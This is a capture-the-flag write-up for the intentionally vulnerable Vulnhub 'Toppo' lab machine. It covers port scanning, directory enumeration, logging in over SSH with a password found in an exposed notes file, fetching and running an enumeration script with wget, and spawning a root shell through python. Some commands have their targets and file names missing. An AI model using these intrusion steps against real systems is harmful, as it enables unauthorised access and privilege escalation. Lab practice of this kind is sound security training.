Vulnhub Toppo Writeup

Vulnhub Toppo Writeup
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Vulnhub writeup for Toppo machine will go through simple techniques like web enumeration using dirb tool and privilege escalation using script.

It is a simple box for beginner, Download and let’s go.

1. Scanning:

First of all, scan for open ports/services

# nmap -A -p-

vulnhub toppo nmap scan

Found open ports: SSH, HTTP, rpcbind 111


2. Web Enumeration:

Visit HTTP port:

Nothing interesting, lets enumerate for other paths:

# dirb -r

-r for non recursive enumeration.

vulnhun toppo enum web directories with dirb


Found some directories, admin directory sounds interesting.
It contain notes.txt file, open it, read the note.

Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn’t my thing i prefer go fishing or watching soccer .

admin notes


It looks like a simple password for user ted [the only letters in simple password!!]

Try it with other services like SSH.


3. Gain Foothold shell:

# ssh [email protected]
Password: 12345ted123

Fine, we have shell as user ted on Toppo machine.

toppo user shell

Let’s see where we can go from there.


4. Privilege Escalation:

I am going to use script to automate privilege escalation enumeration.

Setup a simple web server on my PC:

# python -m SimpleHTTPServer 80

On target, download the file usng wget:

$ wget
$ chmod +x
$ ./

Wait till it is done.


Look in the result for interesting path to escalate our privileges
Found Python2.7 can be run as root !!


$ python2.7 -c “import pty;pty.spawn(‘/bin/sh’)”

# whoami

# cat /root/flag.txt

toppo root flag


Congratilations, We Got Toppo machine root flag.

Notice: we use /bin/sh and not /bin/bash as bash will not work because bash ignore SUID/SGID and always use the current user privilege.


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